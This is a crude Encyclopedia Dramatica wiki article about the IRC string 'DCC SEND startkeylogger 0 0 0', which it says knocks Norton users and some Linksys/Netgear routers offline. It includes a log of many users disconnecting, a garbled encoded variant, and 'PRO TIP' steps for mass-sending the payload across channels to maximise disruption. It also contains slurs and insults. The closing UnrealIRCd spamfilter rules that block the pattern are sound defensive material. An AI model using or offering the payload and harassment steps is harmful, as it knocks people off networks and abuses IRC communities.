DCC SEND startkeylogger 0 0 0
From Encyclopedia Dramatica
The phrase DCC SEND startkeylogger 0 0 0 is was (Norton fixed it, although some people are still vulnerable because they are fucktards) frequently used by H4x0rs on IRC to make Norton and some retarded Linksys / Netgear routers shit on the connection. It had highly dramatic effects, causing pricks who use Norton or shitty Linksys / Netgear routers to drop off the face of the internets, often flooding the channel with spam. It only needs to be DCC SEND (14+ chrs) See: startkeylogger
Example
This is what it looks like when a H4x0r unleashes his vagina powers upon the IRC channel:
[15:07:44] <Fail-chan> DCC SEND "startkeylogger" 0 0 0 [15:07:44] * oneszero has quit (Read error: Connection reset by peer) [15:07:44] * billspork has quit (Read error: Connection reset by peer) [15:07:44] * cynistyr- has quit (Read error: Connection reset by peer) [15:07:44] * AudioVENT has quit (Read error: Connection reset by peer) [15:07:44] * mikel has quit (Read error: Connection reset by peer) [15:07:44] * Crispy` has quit (Read error: Connection reset by peer) [15:07:44] * ste_ has quit (Read error: Connection reset by peer) [15:07:44] * tzennator has quit (Read error 54: Connection reset by peer) [15:07:44] * Short has quit (Read error: Connection reset by peer) [15:07:44] * RedXIII has quit (Read error: Connection reset by peer) [15:07:44] * Urkav has quit (Read error: Connection reset by peer) [15:07:44] * mflynn00 has quit (Read error: Connection reset by peer) [15:07:44] * SicdoggV has quit (Read error: Connection reset by peer) [15:07:45] * HyPn0m0D has quit (Read error: Connection reset by peer) [15:07:45] * lonequid has quit (Read error: Connection reset by peer) [15:07:45] * MytSouriS has quit (Read error: Connection reset by peer) [15:07:45] * Furious_G has quit (Read error: Connection reset by peer) [15:07:45] * ChunkeyMo has quit (Read error: Connection reset by peer) [15:07:45] * Antizac has quit (Read error: Operation timed out)
You can also encode things between the "s to effect more people. Posted below, but not shown correctly due to wiki fail.
?�DCC SEND "ff???f?ð‘¹ð‘°ð‘·ð‘³ð‘¶ð‘³ð‘ºð‘¼ð‘·ð‘®ð‘¼ð’€ð‘º" 0 0 0
PRO TIP
To maximize the drama, follow these steps:
- Connect to an IRC Network
- /list all Channels with more than 50 members and join all of them
- /amsg DCC SEND startkeylogger 0 0 0 or any other command that causes your client to send a message to all channels
- You will probably get kicked from most chans. Write down the nicks of those who got pwnt.
- Convert these names into a script that sends each of them message, containing the evil words
- Give them some time to reconnect, then execute your script
- Execute previous step until you get banned from the network.
- ???
- PROFIT
(Don't try this at home, kids!)
Holy shit, try this on QuakeNet, and you get b& for 12 hours for having a trojan! lol, backfire! Also, the dumbasses at Rizon will gline you for a few days if you try this in some channels, and most other IRCops will too, unless you do it on some network like 7chan, then the mods will probably laugh and join you you get auto-b& just like on Quakenet.
Filtering this from your network
I've thrown together some quick and dirty UnrealIRCd spamfilter commands to help deal with these exploits. Refinements and improvements welcome!
/spamfilter + cpnNPqat block - norton_firewall_exploit startkeylogger /spamfilter + cpnNPqat block - norton_firewall_exploit stopkeylogger /spamfilter + cpNPqat block - linksys_netgear_exploit ^DCC SEND ..............
(The last one has 14 dots at the end of the pattern.)
If you want to add these to your config file, use
spamfilter {
regex "^DCC SEND ..............";
target { channel; private; private-notice; part; quit; away; topic; };
action block;
reason "linksys netgear exploit";
};
spamfilter {
regex "startkeylogger";
target { channel; private; private-notice; part; quit; away; topic; private-notice; };
action block;
reason "norton firewall exploit";
};
| DCC SEND startkeylogger 0 0 0 is part of a series on IRC |
#SERVERS | ||||||||||
| |||||||||||
